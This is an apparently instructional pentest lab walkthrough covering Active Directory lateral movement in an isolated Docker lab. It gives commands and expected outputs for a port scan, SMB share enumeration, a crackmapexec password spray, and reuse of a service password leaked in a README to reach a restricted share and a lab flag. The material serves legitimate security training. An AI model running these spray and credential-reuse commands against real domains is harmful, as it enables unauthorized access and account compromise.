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Lateral movement — Guided walkthrough

Lesson 10.1 settled the vocabulary: pivot, tunnel, relay, impersonation. Here we open neither ligolo-ng nor a Golden Ticket. We walk the most common internal-pentest chain in 2026: a seasonal password, an overly open share, a service credential pasted into a README. No exploit. Just an identity that changes.

This walkthrough replays the lab exactly (labs/docker/module-10-mouvements-lateraux). The hands-on then leaves you alone in it. Here, every command comes with the expected output and the sentence that says what it proves.

Isolated lab

The two containers live on 10.20.30.0/24. No AD port is published to the host. Every command in this lesson runs from the m10-attaquant shell.

What you will be able to do​

  • Read a domain-controller signature off a targeted port scan, without flooding the LAN.
  • Tell anonymous SMB enumeration from authenticated enumeration, and what each one allows.
  • Extract a credential leaked in a share, then reuse it to open a resource the first identity was denied.
  • Qualify the finding: this is not “SMB is open”, it is a four-link chain.

The setup​

cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d

The DC’s first boot takes about a minute: provisioning the CORP.ACME.LOCAL domain, creating the accounts, laying down the two shares. The attacker container waits until dc01 is healthy. Follow the provision:

docker logs -f m10-dc01

When the line [m10] === Daemon en premier plan === appears, the domain is ready. Open the attacker shell:

docker compose exec attaquant bash

You are on Kali, at 10.20.30.5. The target is dc01.corp.acme.local at 10.20.30.10. The container DNS already points at the DC: resolutions for dc01 and dc01.corp.acme.local work without a hand-rolled /etc/hosts.

ItemValue
DomainCORP.ACME.LOCAL (NetBIOS CORP)
Controllerdc01.corp.acme.local — 10.20.30.10
AttackerKali — 10.20.30.5
Starting pointno credential

The chain in one diagram​

Six hops. A single weak account at the start. The switch to svc_sql is not a kernel escalation: it is an impersonation obtained from a file left in the wrong place.

Step 1 — network reconnaissance​

You have no password. You map the DC with a port list, not a -p-. A wide scan on an enterprise LAN breaks printers; here we look for the signature of a domain controller.

nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10

Expected output:

Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).

PORT     STATE  SERVICE
22/tcp   closed ssh
53/tcp   open   domain
88/tcp   open   kerberos-sec
135/tcp  open   msrpc
139/tcp  open   netbios-ssn
389/tcp  open   ldap
445/tcp  open   microsoft-ds
464/tcp  open   kpasswd5
636/tcp  open   ldapssl
3268/tcp open   globalcatLDAP
3269/tcp open   globalcatLDAPssl

Reading. The combination 88 + 389 + 3268 + 445 is not an ordinary file server. Kerberos, LDAP and the global catalog: that is a DC. Closed 22 is expected: Samba AD does not open SSH. Write these ports into the report; this is your map. You have not authenticated anything yet.

Why these ports and not a full scan

On an internal /24, the appearance of Kerberos + LDAP + global catalog says “focus here”. SMB and the RPC mapper (135) also open on many non-DC Windows hosts. It is the conjunction that decides. -Pn skips an ICMP ping that is often filtered; the DC still answers on TCP.

Step 2 — anonymous SMB enumeration​

Before the spray, ask the SMB service what it shows a client with no password. That does not give you a file yet. It gives you a list of names.

smbclient -N -L //10.20.30.10

Expected output (excerpts):

        Sharename       Type      Comment
        ---------       ----      -------
        netlogon        Disk      Network Logon Service
        sysvol          Disk
        team-notes      Disk      Notes internes de l'equipe support (lecture pour tous)
        backups         Disk      Sauvegardes internes (acces reserve svc_sql)
        IPC$            IPC       IPC Service (Samba 4.19)

Reading. Two “business” shares already show up: team-notes and backups. The Samba comments speak for themselves — an admin wrote “read for everyone” and “access reserved for svc_sql”. You do not have the right to read yet. Try anyway, to record the anonymous baseline:

smbclient -N '//10.20.30.10/team-notes' -c 'ls'

Expected output:

tree connect failed: NT_STATUS_ACCESS_DENIED

The share exists, it is visible, it refuses anonymous. You will need a domain identity. That is exactly what the spray is for.

Step 3 — password spray​

You assume three common accounts and three seasonal passwords. Not a 14-million-word wordlist: a spray is few passwords against several accounts, under the lockout threshold.

echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt

crackmapexec smb 10.20.30.10 \
  -u /tmp/users.txt \
  -p /tmp/passwords.txt \
  --continue-on-success

Expected output (the useful lines):

SMB  10.20.30.10  445  DC01  [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB  10.20.30.10  445  DC01  [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [+] CORP\bob:Summer2025!
SMB  10.20.30.10  445  DC01  [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB  10.20.30.10  445  DC01  [+] CORP\svc_sql:Password1

Reading. The [+] lines are successful authentications. You hold at least bob:Summer2025!. The spray may also show svc_sql:Password1: Password1 is in the small wordlist. We still do not jump to backups. On an engagement, that password is not always in your list. The finding to document is the leak in the share. So we continue as bob, as if svc_sql had not given in.

Three passwords, not a wordlist

--continue-on-success stops the tool from quitting at the first account. It does not authorize you to throw rockyou.txt at the domain. Beyond a handful of candidates you lock accounts and the admin sees the spray. The lab is permissive here; a real AD is not.

alice resists all three candidates: a deliberate decoy. A spray that finds one account out of three is already a first foothold. On some Kali images, crackmapexec is called nxc: same binary, same syntax.

Step 4 — enumerating shares as bob​

Same SMB service, different identity. Ask for the actual rights, not just the names.

crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares

Expected output:

SMB  10.20.30.10  445  DC01  [*] Enumerated shares
SMB  10.20.30.10  445  DC01  Share           Permissions     Remark
SMB  10.20.30.10  445  DC01  -----           -----------     ------
SMB  10.20.30.10  445  DC01  netlogon        READ
SMB  10.20.30.10  445  DC01  sysvol          READ
SMB  10.20.30.10  445  DC01  team-notes      READ            Notes internes de l'equipe support
SMB  10.20.30.10  445  DC01  backups                         Sauvegardes internes (acces reserve svc_sql)
SMB  10.20.30.10  445  DC01  IPC$
ShareRights of bobComment
sysvol / netlogonREADStandard AD shares, often empty here
team-notesREADSupport-team notes — immediate target
backups(none)Denied. This is the final resource

bob reads team-notes. bob does not read backups. The pivot, if it exists, is inside the readable share. We do not attack Kerberos until we have read the team files.

Step 5 — reading team-notes​

smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
  -c 'ls; mget *; exit'

smbclient asks for confirmation before each mget if you omit -c. With -c, both files land in the current directory:

  README-Onboarding.txt               N    1540  ...
  deploy-notes.md                     N     420  ...

Read them.

cat README-Onboarding.txt
cat deploy-notes.md

Expected output (the useful passage from the onboarding):

2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
   pour la compta, connecte-toi avec le compte de service svc_sql. Le
   mot de passe est "Password1" — on doit le changer depuis 2 ans mais
   personne n a le temps, l acces au SQL est de toute facon interne.

3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
   lire, pas ton compte perso.

deploy-notes.md repeats the same svc_sql / Password1 pair in a deployment checklist. Two files, one leak.

You hold the pivot: svc_sql:Password1.

Finding number 1 in 2026

A service password in cleartext on a share open to every authenticated user combines three defects: an ACL that is too wide, no rotation, onboarding via a shared file instead of a vault. Each one must appear as a distinct corrective measure. “Harden SMB” fixes none of that.

Step 6 — switching identity to svc_sql​

Same resource, two identities. The denial then the access prove that the lateral move holds only on the account, not on an exploit.

smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'

Expected output:

NT_STATUS_ACCESS_DENIED listing \*

Then:

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'

Expected output:

  secret.txt                          N    2100  ...

bob is still authenticated on the domain. He simply does not have the right. svc_sql does. You just moved laterally: new identity, new resource, no binary dropped on the DC.

Also check the shares from svc_sql, for the report:

crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares

backups goes to READ. The flag is readable; we write nothing.

Step 7 — reading the flag​

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
  -c 'get secret.txt /tmp/flag.txt; exit'

cat /tmp/flag.txt

The file recounts the chain you just ran. The line that matters:

Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Expected flag:

FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Keep the file. The hands-on will ask you to attach it to the report rapport/lateralisation-m10.md.

Reading the output — what each signal is worth​

Three sentences you should be able to say in front of a client, with no jargon.

  1. A DC is recognized by its port signature, not by its name. 88 + 389 + 3268 are enough. The name dc01 is a gift from the lab; on an engagement the same pattern shows up on SRV-ADS-01.
  2. Seeing a share is not entering it. Anonymous lists team-notes and backups. Only a domain identity opens the first. Only svc_sql opens the second. Document the three levels: listed, read, denied.
  3. Lateral movement does not require an exploit. Here the hop hangs on a README. In 10.1, Pass-the-Hash and SMB relay do the same job with other objects (hash, challenge). The deliverable is identical: a new identity, a new resource.

The lab does not demonstrate working Kerberoasting: Samba AD 4.19+ rejects Impacket TGS requests (KRB_AP_ERR_INAPP_CKSUM). The SPNs remain visible; for a real ticket, use HackTheBox Forest or TryHackMe Attacktive Directory.

Where it goes wrong​

  • dc01 is not healthy. nmap on 445 stays filtered or host down. Re-read docker logs m10-dc01: until [m10] === Daemon en premier plan === is there, SMB is not listening. Wait, or docker compose ps.
  • Summer2025! without quotes. The ! gets eaten by bash. Write -p 'Summer2025!' or -U 'bob%Summer2025!'.
  • crackmapexec not found. Type nxc — same tool, new name. The --shares syntax does not change.
  • Interactive mget. Without -c, smbclient asks Get file ...? for each file. Answer y, or rerun with -c 'lcd /tmp; prompt OFF; mget *; exit'.
  • get secret.txt /tmp/flag.txt fails. You are not in an svc_sql session, or lcd points elsewhere. Check with -c 'ls' first.
  • You use the Administrator password from the lab README. That cheats the exercise. The walkthrough starts from network access alone. The admin account exists so the DC stays up, not as a shortcut.

What to remember​

The lateral movement in this lesson fits in one sentence: a weak identity opens an overly wide share, which yields a more useful identity, which opens the target resource. You dropped no implant, no tunnel, no forged ticket. On an engagement, this chain is documented link by link — seasonal password, Domain Users share, secret in clear, service account with no rotation — because cutting one link is enough to break it.

The hands-on takes the same lab, without this page open. You replay the six steps, you write the report, you shut it down with docker compose down -v.